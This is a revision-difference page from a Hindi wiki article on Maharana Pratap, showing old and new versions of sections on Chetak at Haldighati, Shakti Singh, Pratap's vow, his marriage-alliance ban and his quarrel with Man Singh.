Difference between revisions of "महाराणा प्रताप"

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====पराक्रमी चेतक====
 
====पराक्रमी चेतक====
 
महाराणा प्रताप का सबसे प्रिय घोड़ा 'चेतक' था। [[हल्दीघाटी का युद्ध|हल्दीघाटी के युद्ध]] में बिना किसी सहायक के प्रताप अपने पराक्रमी चेतक पर सवार हो पहाड़ की ओर चल पडे‌। उसके पीछे दो [[मुग़ल]] सैनिक लगे हुए थे, परन्तु चेतक ने प्रताप को बचा लिया। रास्ते में एक पहाड़ी नाला बह रहा था। घायल चेतक फुर्ती से उसे लाँघ गया, परन्तु मुग़ल उसे पार न कर पाये। चेतक, नाला तो लाँघ गया, पर अब उसकी गति धीरे-धीरे कम होती गई और पीछे से मुग़लों के घोड़ों की टापें भी सुनाई पड़ीं। उसी समय प्रताप को अपनी मातृभाषा में आवाज़ सुनाई पड़ी, "हो, नीला घोड़ा रा असवार।" प्रताप ने पीछे मुड़कर देखा तो उसे एक ही अश्वारोही दिखाई पड़ा और वह था, उसका भाई शक्तिसिंह। प्रताप के साथ व्यक्तिगत विरोध ने उसे देशद्रोही बनाकर अकबर का सेवक बना दिया था और युद्धस्थल पर वह मुग़ल पक्ष की तरफ़ से लड़ रहा था। जब उसने नीले घोड़े को बिना किसी सेवक के पहाड़ की तरफ़ जाते हुए देखा तो वह भी चुपचाप उसके पीछे चल पड़ा, परन्तु केवल दोनों मुग़लों को यमलोक पहुँचाने के लिए।
 
महाराणा प्रताप का सबसे प्रिय घोड़ा 'चेतक' था। [[हल्दीघाटी का युद्ध|हल्दीघाटी के युद्ध]] में बिना किसी सहायक के प्रताप अपने पराक्रमी चेतक पर सवार हो पहाड़ की ओर चल पडे‌। उसके पीछे दो [[मुग़ल]] सैनिक लगे हुए थे, परन्तु चेतक ने प्रताप को बचा लिया। रास्ते में एक पहाड़ी नाला बह रहा था। घायल चेतक फुर्ती से उसे लाँघ गया, परन्तु मुग़ल उसे पार न कर पाये। चेतक, नाला तो लाँघ गया, पर अब उसकी गति धीरे-धीरे कम होती गई और पीछे से मुग़लों के घोड़ों की टापें भी सुनाई पड़ीं। उसी समय प्रताप को अपनी मातृभाषा में आवाज़ सुनाई पड़ी, "हो, नीला घोड़ा रा असवार।" प्रताप ने पीछे मुड़कर देखा तो उसे एक ही अश्वारोही दिखाई पड़ा और वह था, उसका भाई शक्तिसिंह। प्रताप के साथ व्यक्तिगत विरोध ने उसे देशद्रोही बनाकर अकबर का सेवक बना दिया था और युद्धस्थल पर वह मुग़ल पक्ष की तरफ़ से लड़ रहा था। जब उसने नीले घोड़े को बिना किसी सेवक के पहाड़ की तरफ़ जाते हुए देखा तो वह भी चुपचाप उसके पीछे चल पड़ा, परन्तु केवल दोनों मुग़लों को यमलोक पहुँचाने के लिए।
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====शक्तिसिंह द्वारा राणा प्रताप की सुरक्षा====
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जीवन में पहली बार दोनों भाई प्रेम के साथ गले मिले। इस बीच चेतक ज़मीन पर गिर पड़ा और जब प्रताप उसकी काठी को खोलकर अपने भाई द्वारा प्रस्तुत घोड़े पर रख रहा था, चेतक ने प्राण त्याग दिए। बाद में उस स्थान पर एक चबूतरा खड़ा किया गया, जो आज तक उस स्थान को इंगित करता है, जहाँ पर चेतक मरा था। प्रताप को विदा करके शक्तिसिंह खुरासानी सैनिक के घोड़े पर सवार होकर वापस लौट आया। सलीम को उस पर कुछ सन्देह पैदा हुआ। जब शक्तिसिंह ने कहा कि प्रताप ने न केवल पीछा करने वाले दोनों मुग़ल सैनिकों को मार डाला अपितु मेरा घोड़ा भी छीन लिया। इसलिए मुझे खुरासानी सैनिक के घोड़े पर सवार होकर आना पड़ा। सलीम ने वचन दिया कि अगर तुम सत्य बात कह दोगे तो मैं तुम्हें क्षमा कर दूँगा। तब शक्तिसिंह ने कहा, "मेरे भाई के कन्धों पर [[मेवाड़]] राज्य का बोझा है। इस संकट के समय उसकी सहायता किए बिना मैं कैसे रह सकता था।" सलीम ने अपना वचन निभाया, परन्तु शक्तिसिंह को अपनी सेवा से हटा दिया। राणा प्रताप की सेवा में पहुँचकर उसे अच्छी नज़र भेंट की जा सके, इस ध्येय से उसने भिनसोर नामक दुर्ग पर आक्रमण कर उसे जीत लिया। [[उदयपुर]] पहुँचकर उस दुर्ग को भेंट में देते हुए शक्तिसिंह ने प्रताप का अभिवादन किया। प्रताप ने प्रसन्न होकर वह दुर्ग शक्तिसिंह को पुरस्कार में दे दिया। यह दुर्ग लम्बे समय तक उसके वंशजों के अधिकार में बना रहा।<ref>शक्तिसिंह की कथा भी अन्य प्रमाणों से सिद्ध नहीं होती। शक्तिसिंह पहले ही [[चित्तौड़]] के आक्रमण के समय काम आ चुका था। सम्भवतः दोनों भाइयों को मिलाने की कथा भाटों ने गढ़ ली है।</ref> [[संवत]] 1632 ([[जुलाई]], 1576 ई.) के सावन मास की [[सप्तमी]] का दिन मेवाड़ के इतिहास में सदा स्मरणीय रहेगा। उस दिन मेवाड़ के अच्छे रुधिर ने हल्दीघाटी को सींचा था। प्रताप के अत्यन्त निकटवर्ती पाँच सौ कुटुम्बी और सम्बन्धी, [[ग्वालियर]] का भूतपूर्व राजा रामशाह और साढ़े तीन सौ [[तोमर]] वीरों के साथ रामशाह का बेटा खाण्डेराव मारा गया। स्वामिभक्त झाला मन्नाजी अपने डेढ़ सौ सरदारों सहित मारा गया और मेवाड़ के प्रत्येक घर ने बलिदान किया।
 
==महाराणा की प्रतिज्ञा==
 
==महाराणा की प्रतिज्ञा==
 
प्रताप को अभूतपूर्व समर्थन मिला। यद्यपि धन और उज्ज्वल भविष्य ने उसके सरदारों को काफ़ी प्रलोभन दिया, परन्तु किसी ने भी उसका साथ नहीं छोड़ा। जयमल के पुत्रों ने उसके कार्य के लिये अपना [[रक्त]] बहाया। पत्ता के वंशधरों ने भी ऐसा ही किया और सलूम्बर के कुल वालों ने भी चूण्डा की स्वामिभक्ति को जीवित रखा। इनकी वीरता और स्वार्थ-त्याग का वृत्तान्त [[मेवाड़ का इतिहास|मेवाड़ के इतिहास]] में अत्यन्त गौरवमय समझा जाता है। उसने प्रतिज्ञा की थी कि वह 'माता के पवित्र [[दूध]] को कभी कलंकित नहीं करेगा।' इस प्रतिज्ञा का पालन उसने पूरी तरह से किया। कभी मैदानी प्रदेशों पर धावा मारकर जन-स्थानों को उजाड़ना तो कभी एक [[पर्वत]] से दूसरे पर्वत पर भागना और इस विपत्ति काल में अपने [[परिवार]] का पर्वतीय कन्दमूल-फल द्वारा भरण-पोषण करना और अपने पुत्र 'अमर' का जंगली जानवरों और जंगली लोगों के मध्य पालन करना, अत्यन्त कष्टप्राय कार्य था। इन सबके पीछे मूल [[मंत्र]] यही था कि [[बप्पा रावल]] का वंशज किसी शत्रु अथवा देशद्रोही के सम्मुख शीश झुकाये, यह असम्भव बात थी। क़ायरों के योग्य इस पापमय विचार से ही प्रताप का [[हृदय]] टुकड़े-टुकड़े हो जाता था। तातार वालों को अपनी बहन-बेटी समर्पण कर अनुग्रह प्राप्त करना, प्रताप को किसी भी दशा में स्वीकार्य न था। 'चित्तौड़ के उद्धार से पूर्व पात्र में भोजन, शैय्या पर शयन दोनों मेरे लिये वर्जित रहेंगे।' महाराणा की प्रतिज्ञा अक्षुण्ण रही और जब वे ([[विक्रम संवत]] 1653 [[माघ मास|माघ]] [[शुक्ल पक्ष|शुक्ल]] 11) तारीख़ [[29 जनवरी]] सन 1597 ई. में परमधाम की यात्रा करने लगे, उनके परिजनों और सामन्तों ने वही प्रतिज्ञा करके उन्हें आश्वस्त किया। [[अरावली]] के कण-कण में महाराणा का जीवन-चरित्र अंकित है। शताब्दियों तक पतितों, पराधीनों और उत्पीड़ितों के लिये वह प्रकाश का काम देगा। चित्तौड़ की उस पवित्र भूमि में युगों तक मानव स्वराज्य एवं स्वधर्म का अमर सन्देश झंकृत होता रहेगा।<br />
 
प्रताप को अभूतपूर्व समर्थन मिला। यद्यपि धन और उज्ज्वल भविष्य ने उसके सरदारों को काफ़ी प्रलोभन दिया, परन्तु किसी ने भी उसका साथ नहीं छोड़ा। जयमल के पुत्रों ने उसके कार्य के लिये अपना [[रक्त]] बहाया। पत्ता के वंशधरों ने भी ऐसा ही किया और सलूम्बर के कुल वालों ने भी चूण्डा की स्वामिभक्ति को जीवित रखा। इनकी वीरता और स्वार्थ-त्याग का वृत्तान्त [[मेवाड़ का इतिहास|मेवाड़ के इतिहास]] में अत्यन्त गौरवमय समझा जाता है। उसने प्रतिज्ञा की थी कि वह 'माता के पवित्र [[दूध]] को कभी कलंकित नहीं करेगा।' इस प्रतिज्ञा का पालन उसने पूरी तरह से किया। कभी मैदानी प्रदेशों पर धावा मारकर जन-स्थानों को उजाड़ना तो कभी एक [[पर्वत]] से दूसरे पर्वत पर भागना और इस विपत्ति काल में अपने [[परिवार]] का पर्वतीय कन्दमूल-फल द्वारा भरण-पोषण करना और अपने पुत्र 'अमर' का जंगली जानवरों और जंगली लोगों के मध्य पालन करना, अत्यन्त कष्टप्राय कार्य था। इन सबके पीछे मूल [[मंत्र]] यही था कि [[बप्पा रावल]] का वंशज किसी शत्रु अथवा देशद्रोही के सम्मुख शीश झुकाये, यह असम्भव बात थी। क़ायरों के योग्य इस पापमय विचार से ही प्रताप का [[हृदय]] टुकड़े-टुकड़े हो जाता था। तातार वालों को अपनी बहन-बेटी समर्पण कर अनुग्रह प्राप्त करना, प्रताप को किसी भी दशा में स्वीकार्य न था। 'चित्तौड़ के उद्धार से पूर्व पात्र में भोजन, शैय्या पर शयन दोनों मेरे लिये वर्जित रहेंगे।' महाराणा की प्रतिज्ञा अक्षुण्ण रही और जब वे ([[विक्रम संवत]] 1653 [[माघ मास|माघ]] [[शुक्ल पक्ष|शुक्ल]] 11) तारीख़ [[29 जनवरी]] सन 1597 ई. में परमधाम की यात्रा करने लगे, उनके परिजनों और सामन्तों ने वही प्रतिज्ञा करके उन्हें आश्वस्त किया। [[अरावली]] के कण-कण में महाराणा का जीवन-चरित्र अंकित है। शताब्दियों तक पतितों, पराधीनों और उत्पीड़ितों के लिये वह प्रकाश का काम देगा। चित्तौड़ की उस पवित्र भूमि में युगों तक मानव स्वराज्य एवं स्वधर्म का अमर सन्देश झंकृत होता रहेगा।<br />
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====राणा साँगा नेता के रूप में====
 
====राणा साँगा नेता के रूप में====
 
प्रताप को प्रायः यह कहते सुना गया कि "यदि उदयसिंह पैदा न होते अथवा संग्राम सिंह और उनके बीच में कोई सिसोदिया कुल में उत्पन्न न होता तो कोई भी तुर्क [[राजस्थान]] पर अपना नियम लागू न कर पाता।" सौ वर्ष के बीच में [[हिन्दू]] जाति का एक नया चित्र दिखलाई देता है। [[गंगा]] और [[यमुना]] का मध्यवर्ती देश अपने विध्वंस को भुलाकर एक नवीन बल से बलवान होकर धीरे-धीरे अपना मस्तक उठा रहा था। [[आमेर]] और [[मारवाड़]] इतने बलवान हो गये थे कि अकेले मारवाड़ ने ही सम्राट [[शेरशाह]] के विरुद्ध संघर्ष किया था और [[चम्बल नदी]] के दोनों किनारों पर अनेक छोटे-छोटे राज्य बल संग्रह करके उन्नति की ओर बढ़ रहे थे। कमी थी तो केवल एक ऐसे नेता की जो उन सब शक्तियों को संगठित करके [[मुसलमान|मुसलमानों]] की सत्ता को छीन सके। ऐसा नेता उन्हें [[राणा साँगा]] के रूप में मिला था। [[हिमालय]] से लेकर [[रामेश्वर]] तक सब ने ही साँगा के गुणों की प्रशंसा की थी। साँगा के स्वर्ग सिधारने के पश्चात जातीय जीवन धीरे-धीरे नष्ट होता गया और [[हिन्दू]] लोग अपने पैतृक राज्य से हाथ धो बैठे। यदि साँगा के पीछे उदयसिंह का जन्म न होता अथवा [[अकबर]] की अपेक्षा कम समर्थ वाले [[मुस्लिम]] के हाथ में [[भारत]] का शासन होता तो भारत की ऐसी दुर्दशा कभी न होती।
 
प्रताप को प्रायः यह कहते सुना गया कि "यदि उदयसिंह पैदा न होते अथवा संग्राम सिंह और उनके बीच में कोई सिसोदिया कुल में उत्पन्न न होता तो कोई भी तुर्क [[राजस्थान]] पर अपना नियम लागू न कर पाता।" सौ वर्ष के बीच में [[हिन्दू]] जाति का एक नया चित्र दिखलाई देता है। [[गंगा]] और [[यमुना]] का मध्यवर्ती देश अपने विध्वंस को भुलाकर एक नवीन बल से बलवान होकर धीरे-धीरे अपना मस्तक उठा रहा था। [[आमेर]] और [[मारवाड़]] इतने बलवान हो गये थे कि अकेले मारवाड़ ने ही सम्राट [[शेरशाह]] के विरुद्ध संघर्ष किया था और [[चम्बल नदी]] के दोनों किनारों पर अनेक छोटे-छोटे राज्य बल संग्रह करके उन्नति की ओर बढ़ रहे थे। कमी थी तो केवल एक ऐसे नेता की जो उन सब शक्तियों को संगठित करके [[मुसलमान|मुसलमानों]] की सत्ता को छीन सके। ऐसा नेता उन्हें [[राणा साँगा]] के रूप में मिला था। [[हिमालय]] से लेकर [[रामेश्वर]] तक सब ने ही साँगा के गुणों की प्रशंसा की थी। साँगा के स्वर्ग सिधारने के पश्चात जातीय जीवन धीरे-धीरे नष्ट होता गया और [[हिन्दू]] लोग अपने पैतृक राज्य से हाथ धो बैठे। यदि साँगा के पीछे उदयसिंह का जन्म न होता अथवा [[अकबर]] की अपेक्षा कम समर्थ वाले [[मुस्लिम]] के हाथ में [[भारत]] का शासन होता तो भारत की ऐसी दुर्दशा कभी न होती।
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[[चित्र:Maharana-Pratap-Statue.jpg|thumb|250px|left|महाराणा प्रताप की प्रतिमा, [[उदयपुर]]<br /> Statue Of Maharana Pratap, Udaypur]]
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[[चित्र:Maharana-Pratap-Statue.jpg|thumb|250px|left|महाराणा प्रताप की प्रतिमा, [[उदयपुर]]]]
 
====महाराणा द्वारा तैयार ढाँचा====
 
====महाराणा द्वारा तैयार ढाँचा====
 
अपने कुछ अनुभवी और बुद्धिमान सरदारों की सहायता से प्रताप ने सीमित साधनों और समय की आवश्यकता को समझते हुए अपनी सरकार का नया ढाँचा निर्मित किया। आवश्यक सैनिक सेवा की स्पष्ट व्याख्या के साथ नई-नई जागीरें प्रदान की गईं। सरकार के मौजूदा केन्द्र [[कमलमीर]] की सुरक्षा को मज़बूत बनाया गया तथा गोगुन्दा और अन्य पर्वतीय दुर्गों की मरम्मत की गई। मेवाड़ के समतल मैदान की रक्षा करने में असमर्थ प्रताप ने अपने पूर्वजों की नीति का अनुसरण करते हुए दुर्गम पहाड़ी स्थानों में अपने मोर्चे क़ायम किए तथा मैदानी क्षेत्रों के लोगों को परिवार सहित पर्वतों में आश्रय लेने को कहा गया। ऐसा न करने वालों को प्राणदण्ड देने की घोषणा की गई। कुछ ही दिनों में [[बनास नदी|बनास]] और बेड़स नदियों के सिंचित क्षेत्र भी सूने हो गये अर्थात् "बे-चिराग़" हो गए। प्रताप ने अपनी प्रजा को कठोरता के साथ अपने आदेशों का पालन करने के लिए विवश कर दिया था। उसकी आज्ञा के फलस्वरूप मेवाड़ की सुन्दर भूमि श्मशान के समान हो गई और उस पर [[यवन|यवनों]] के दाँत पड़ने की कोई आशंका न रही। उस समय [[यूरोप]] के साथ मुग़लों का व्यापार-वाणिज्य मेवाड़ के भीतर होकर [[सूरत]] या किसी और बन्दरगाह से होता था। प्रताप तथा उसके सरदार अवसर पाकर उस समस्त सामग्री को लूटने लगे।
 
अपने कुछ अनुभवी और बुद्धिमान सरदारों की सहायता से प्रताप ने सीमित साधनों और समय की आवश्यकता को समझते हुए अपनी सरकार का नया ढाँचा निर्मित किया। आवश्यक सैनिक सेवा की स्पष्ट व्याख्या के साथ नई-नई जागीरें प्रदान की गईं। सरकार के मौजूदा केन्द्र [[कमलमीर]] की सुरक्षा को मज़बूत बनाया गया तथा गोगुन्दा और अन्य पर्वतीय दुर्गों की मरम्मत की गई। मेवाड़ के समतल मैदान की रक्षा करने में असमर्थ प्रताप ने अपने पूर्वजों की नीति का अनुसरण करते हुए दुर्गम पहाड़ी स्थानों में अपने मोर्चे क़ायम किए तथा मैदानी क्षेत्रों के लोगों को परिवार सहित पर्वतों में आश्रय लेने को कहा गया। ऐसा न करने वालों को प्राणदण्ड देने की घोषणा की गई। कुछ ही दिनों में [[बनास नदी|बनास]] और बेड़स नदियों के सिंचित क्षेत्र भी सूने हो गये अर्थात् "बे-चिराग़" हो गए। प्रताप ने अपनी प्रजा को कठोरता के साथ अपने आदेशों का पालन करने के लिए विवश कर दिया था। उसकी आज्ञा के फलस्वरूप मेवाड़ की सुन्दर भूमि श्मशान के समान हो गई और उस पर [[यवन|यवनों]] के दाँत पड़ने की कोई आशंका न रही। उस समय [[यूरोप]] के साथ मुग़लों का व्यापार-वाणिज्य मेवाड़ के भीतर होकर [[सूरत]] या किसी और बन्दरगाह से होता था। प्रताप तथा उसके सरदार अवसर पाकर उस समस्त सामग्री को लूटने लगे।
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मोटा राजा उदयसिंह पहला व्यक्ति था, जिसने अपनी कुल की पहली कन्या का [[विवाह]] तातार से किया था।<ref>उदयसिंह ने अपनी 'जोधाबाई' (भानीबाई) नामक पुत्री का विवाह 'सलीम' ([[जहाँगीर]]) से किया था। वह 'जगत गुसाईं' के नाम से प्रसिद्ध थी। इसी के गर्भ से सम्राट [[शाहजहाँ]] का जन्म हुआ था।</ref> इस सम्बन्ध के लिए जो घूस ली गई वह महत्त्वपूर्ण थी। उसे चार समृद्ध परगने प्राप्त हुए। इनकी सालाना आमदनी बीस लाख रुपये थी। इन परगनों के प्राप्त हो जाने से [[मारवाड़]] राज्य की आय दुगुनी हो गई। आमेर और मारवाड़ जैसे उदाहरणों की मौजूदगी में और प्रलोभन का विरोध करने की शक्ति की कमी के कारण, राजस्थान के छोटे राजा लोग अपने असंख्य पराक्रमी सरदारों के साथ [[दिल्ली]] के सामंतों में परिवर्तित हो गए और इस परिवर्तन के कारण उनमें से बहुत से लोगों का महत्त्व भी बढ़ गया। मुग़ल इतिहासकारों ने [[सत्य]] ही लिखा है कि वे 'सिंहासन के स्तम्भ और अलंकार के स्वरूप थे।' परन्तु उपर्युक्त सभी बातें प्रताप के विरुद्ध भयजनक थीं। उसके देशवासियों के शस्त्र अब उसी के विरुद्ध उठ रहे थे। अपनी मान-मर्यादा बेचने वाले राजाओं से यह बात सही नहीं जा रही थी कि प्रताप गौरव के ऊँचे आसमान पर विराजमान रहे। इस बात का विचार करके ही उनके [[हृदय]] में डाह की प्रबल [[आग]] जलने लगी। प्रताप ने उन समस्त राजाओं ([[बूँदी राजस्थान|बूँदी]] के अलावा) से अपना सम्बन्ध छोड़ दिया, जो मुसलमानों से मिल गए थे।
 
मोटा राजा उदयसिंह पहला व्यक्ति था, जिसने अपनी कुल की पहली कन्या का [[विवाह]] तातार से किया था।<ref>उदयसिंह ने अपनी 'जोधाबाई' (भानीबाई) नामक पुत्री का विवाह 'सलीम' ([[जहाँगीर]]) से किया था। वह 'जगत गुसाईं' के नाम से प्रसिद्ध थी। इसी के गर्भ से सम्राट [[शाहजहाँ]] का जन्म हुआ था।</ref> इस सम्बन्ध के लिए जो घूस ली गई वह महत्त्वपूर्ण थी। उसे चार समृद्ध परगने प्राप्त हुए। इनकी सालाना आमदनी बीस लाख रुपये थी। इन परगनों के प्राप्त हो जाने से [[मारवाड़]] राज्य की आय दुगुनी हो गई। आमेर और मारवाड़ जैसे उदाहरणों की मौजूदगी में और प्रलोभन का विरोध करने की शक्ति की कमी के कारण, राजस्थान के छोटे राजा लोग अपने असंख्य पराक्रमी सरदारों के साथ [[दिल्ली]] के सामंतों में परिवर्तित हो गए और इस परिवर्तन के कारण उनमें से बहुत से लोगों का महत्त्व भी बढ़ गया। मुग़ल इतिहासकारों ने [[सत्य]] ही लिखा है कि वे 'सिंहासन के स्तम्भ और अलंकार के स्वरूप थे।' परन्तु उपर्युक्त सभी बातें प्रताप के विरुद्ध भयजनक थीं। उसके देशवासियों के शस्त्र अब उसी के विरुद्ध उठ रहे थे। अपनी मान-मर्यादा बेचने वाले राजाओं से यह बात सही नहीं जा रही थी कि प्रताप गौरव के ऊँचे आसमान पर विराजमान रहे। इस बात का विचार करके ही उनके [[हृदय]] में डाह की प्रबल [[आग]] जलने लगी। प्रताप ने उन समस्त राजाओं ([[बूँदी राजस्थान|बूँदी]] के अलावा) से अपना सम्बन्ध छोड़ दिया, जो मुसलमानों से मिल गए थे।
 
====वैवाहिक संबंधों पर रोक====
 
====वैवाहिक संबंधों पर रोक====
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सिसोदिया वंश के किसी शासक ने अपनी कन्या मुग़लों को नहीं दी। इतना ही नहीं, उन्होंने लम्बे समय तक उन राजवंशों को भी अपनी कन्याएँ नहीं दीं, जिन्होंने मुग़लों के साथ वैवाहिक सम्बन्ध क़ायम किये थे। इससे उन राजाओं को काफ़ी आघात पहुँचा। इसकी पुष्टि मारवाड़ और आमेर के राजाओं, बख़्त सिंह और [[जयसिंह]] के पुत्रों से होती है। दोनों ही शासकों ने मेवाड़ के सिसोदिया वंश के साथ वैवाहिक सम्बन्धों को पुनः स्थापित करने का अनुरोध किया था। लगभग एक शताब्दी के बाद उनका अनुरोध स्वीकार किया गया और वह भी इस शर्त के साथ कि मेवाड़ की राजकन्या के गर्भ से उत्पन्न होने वाला पुत्र ही सम्बन्धित राजा का उत्तराधिकारी होगा। सिसोदिया घराने ने अपने [[रक्त]] की पवित्रता को बनाये रखने के लिए जो क़दम उठाये गए, उनमें से एक का उल्लेख करना आवश्यक है, क्योंकि उस घटना ने आने वाली घटनाओं को काफ़ी प्रभावित किया है। आमेर का राजा [[मानसिंह]] अपने वंश का अत्यधिक प्रसिद्ध राजा था और उसके समय से ही उसके राज्य की उन्नति आरम्भ हुई थी। अकबर उसका फूफ़ा था। वैसे मानसिंह एक साहसी, चतुर और रणविशारद् सेनानायक था और अकबर की सफलताओं में आधा योगदान भी रहा था, परन्तु पारिवारिक सम्बन्ध तथा अकबर की विशेष कृपा से वह [[मुग़ल साम्राज्य]] का महत्त्वपूर्ण सेनापित बन गया था। कच्छवाह भट्टकवियों ने उसके शौर्य तथा उसकी उपलब्धियों का तेजस्विनी [[भाषा]] में उल्लेख किया है।
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सिसोदिया वंश के किसी शासक ने अपनी कन्या मुग़लों को नहीं दी। इतना ही नहीं, उन्होंने लम्बे समय तक उन राजवंशों को भी अपनी कन्याएँ नहीं दीं, जिन्होंने मुग़लों के साथ वैवाहिक सम्बन्ध क़ायम किये थे। इससे उन राजाओं को काफ़ी आघात पहुँचा। इसकी पुष्टि [[मारवाड़]] और आमेर के राजाओं, बख़्त सिंह और [[जयसिंह]] के पुत्रों से होती है। दोनों ही शासकों ने मेवाड़ के [[सिसोदिया वंश]] के साथ वैवाहिक सम्बन्धों को पुनः स्थापित करने का अनुरोध किया था। लगभग एक शताब्दी के बाद उनका अनुरोध स्वीकार किया गया और वह भी इस शर्त के साथ कि मेवाड़ की राजकन्या के गर्भ से उत्पन्न होने वाला पुत्र ही सम्बन्धित राजा का उत्तराधिकारी होगा। सिसोदिया घराने ने अपने [[रक्त]] की पवित्रता को बनाये रखने के लिए जो क़दम उठाये गए, उनमें से एक का उल्लेख करना आवश्यक है, क्योंकि उस घटना ने आने वाली घटनाओं को काफ़ी प्रभावित किया है। आमेर का राजा [[मानसिंह]] अपने वंश का अत्यधिक प्रसिद्ध राजा था और उसके समय से ही उसके राज्य की उन्नति आरम्भ हुई थी। अकबर उसका फूफ़ा था। वैसे मानसिंह एक साहसी, चतुर और रणविशारद् सेनानायक था और अकबर की सफलताओं में आधा योगदान भी रहा था, परन्तु पारिवारिक सम्बन्ध तथा अकबर की विशेष कृपा से वह [[मुग़ल साम्राज्य]] का महत्त्वपूर्ण सेनापित बन गया था। कच्छवाह भट्टकवियों ने उसके शौर्य तथा उसकी उपलब्धियों का तेजस्विनी [[भाषा]] में उल्लेख किया है।
 
==हल्दीघाटी युद्ध==
 
==हल्दीघाटी युद्ध==
 
{{Main|हल्दीघाटी का युद्ध}}
 
{{Main|हल्दीघाटी का युद्ध}}
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==राणा प्रताप की मानसिंह से भेंट==
 
==राणा प्रताप की मानसिंह से भेंट==
 
[[चित्र:Chittorgarh-Fort.jpg|thumb|250px|[[चित्तौड़गढ़]] का क़िला<br /> Fort Of Chittorgarh]]
 
[[चित्र:Chittorgarh-Fort.jpg|thumb|250px|[[चित्तौड़गढ़]] का क़िला<br /> Fort Of Chittorgarh]]
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शोलापुर की विजय के बाद [[मानसिंह]] वापस हिन्दुस्तान लौट रहा था तो उसने राणा प्रताप से, जो इन दिनों [[कमलमीर]] में था, मिलने की इच्छा प्रकट की। प्रताप उसका स्वागत करने के लिए उदयसागर तक आया। इस झील के सामने वाले टीले पर आमेर के राजा के लिए दावत की व्यवस्था की गई थी। भोजन तैयार हो जाने पर मानसिंह को बुलावा भेजा गया। राजकुमार अमरसिंह को अतिथि की सेवा के लिए नियुक्त किया गया था। राणा प्रताप अनुपस्थित थे। मानसिंह के पूछने पर अमरसिंह ने बताया कि राणा को सिरदर्द है, वे नहीं आ पायेंगे। आप भोजन करके विश्राम करें। मानसिंह ने गर्व के साथ सम्मानित स्वर में कहा कि "राणा जी से कहो कि उनके सिर दर्द का यथार्थ कारण समझ गया हूँ। जो कुछ होना था, वह तो हो गया और उसको सुधारने का कोई उपाय नहीं है, फिर भी यदि वे मुझे खाना नहीं परोसगें तो और कौन परोसेगा।" मानसिंह ने राणा के बिना भोजन स्वीकार नहीं किया। तब प्रताप ने उसे कहला भेजा कि "जिस [[राजपूत]] ने अपनी बहन तुर्क को दी हो, उसके साथ कौन राजपूत भोजन करेगा।"
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शोलापुर की विजय के बाद [[मानसिंह]] वापस हिन्दुस्तान लौट रहा था तो उसने राणा प्रताप से, जो इन दिनों [[कमलमीर]] में था, मिलने की इच्छा प्रकट की। प्रताप उसका स्वागत करने के लिए उदयसागर तक आया। इस [[झील]] के सामने वाले टीले पर आमेर के राजा के लिए दावत की व्यवस्था की गई थी। भोजन तैयार हो जाने पर मानसिंह को बुलावा भेजा गया। राजकुमार अमरसिंह को अतिथि की सेवा के लिए नियुक्त किया गया था। राणा प्रताप अनुपस्थित थे। मानसिंह के पूछने पर अमरसिंह ने बताया कि राणा को सिरदर्द है, वे नहीं आ पायेंगे। आप भोजन करके विश्राम करें। मानसिंह ने गर्व के साथ सम्मानित स्वर में कहा कि "राणा जी से कहो कि उनके सिर दर्द का यथार्थ कारण समझ गया हूँ। जो कुछ होना था, वह तो हो गया और उसको सुधारने का कोई उपाय नहीं है, फिर भी यदि वे मुझे खाना नहीं परोसेंगे तो और कौन परोसेगा।" मानसिंह ने राणा के बिना भोजन स्वीकार नहीं किया। तब प्रताप ने उसे कहला भेजा कि "जिस [[राजपूत]] ने अपनी बहन तुर्क को दी हो, उसके साथ कौन राजपूत भोजन करेगा।"
  
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राजा मानसिंह ने इस अपमान को आहूत करने में बुद्धिमता नहीं दिखाई थी। यदि प्रताप की तरफ़ से उसे निमंत्रित किया गया होता, तब तो उसका विचार उचित माना जा सकता था, परन्तु इसके लिए प्रताप को दोषी नहीं ठहराया जा सकता। मानसिंह ने भोजन को छुआ तक नहीं, केवल [[चावल]] के कुछ कणों को जो अन्न [[देवता]] को अर्पण किए थे, उन्हें अपनी पगड़ी में रखकर वहाँ से चला गया। जाते समय उसने कहा, "आपकी ही मान-मर्यादा बचाने के लिए हमने अपनी मर्यादा को खोकर मुग़लों को अपनी बहिन-बेटियाँ दीं। इस पर भी जब आप में और हम में विषमता रही, तो आपकी स्थिति में भी कमी आयेगी। यदि आपकी इच्छा सदा ही विपत्ति में रहने की है, तो यह अभिप्राय शीघ्र ही पूरा होगा। यह देश हृदय से आपकों धारण नहीं करेगा।" अपने घोड़े पर सवार होकर मानसिंह ने राणा प्रताप, जो इस समय आ पहुँचे थे, को कठोर दृष्टि से निहारते हुए कहा, "यदि मैं तुम्हारा यह मान चूर्ण न कर दूँ तो मेरा नाम मानसिंह नहीं।"
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राजा मानसिंह ने इस अपमान को आहूत करने में बुद्धिमता नहीं दिखाई थी। यदि प्रताप की तरफ़ से उसे निमंत्रित किया गया होता, तब तो उसका विचार उचित माना जा सकता था, परन्तु इसके लिए प्रताप को दोषी नहीं ठहराया जा सकता। मानसिंह ने भोजन को छुआ तक नहीं, केवल [[चावल]] के कुछ कणों को जो अन्न [[देवता]] को अर्पण किए थे, उन्हें अपनी पगड़ी में रखकर वहाँ से चला गया। जाते समय उसने कहा, "आपकी ही मान-मर्यादा बचाने के लिए हमने अपनी मर्यादा को खोकर मुग़लों को अपनी बहिन-बेटियाँ दीं। इस पर भी जब आप में और हम में विषमता रही, तो आपकी स्थिति में भी कमी आयेगी। यदि आपकी इच्छा सदा ही विपत्ति में रहने की है, तो यह अभिप्राय शीघ्र ही पूरा होगा। यह देश हृदय से आपको धारण नहीं करेगा।" अपने घोड़े पर सवार होकर मानसिंह ने राणा प्रताप, जो इस समय आ पहुँचे थे, को कठोर दृष्टि से निहारते हुए कहा, "यदि मैं तुम्हारा यह मान चूर्ण न कर दूँ तो मेरा नाम मानसिंह नहीं।"
  
 
